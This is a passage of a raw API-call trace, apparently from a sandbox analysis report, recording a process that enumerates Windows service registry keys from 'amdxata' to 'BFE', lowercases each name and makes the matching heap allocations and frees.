Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.957] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0173.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0173.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.958] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.959] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0173.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.960] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0173.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.961] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0173.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0173.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0173.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0173.962] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0173.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0173.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", 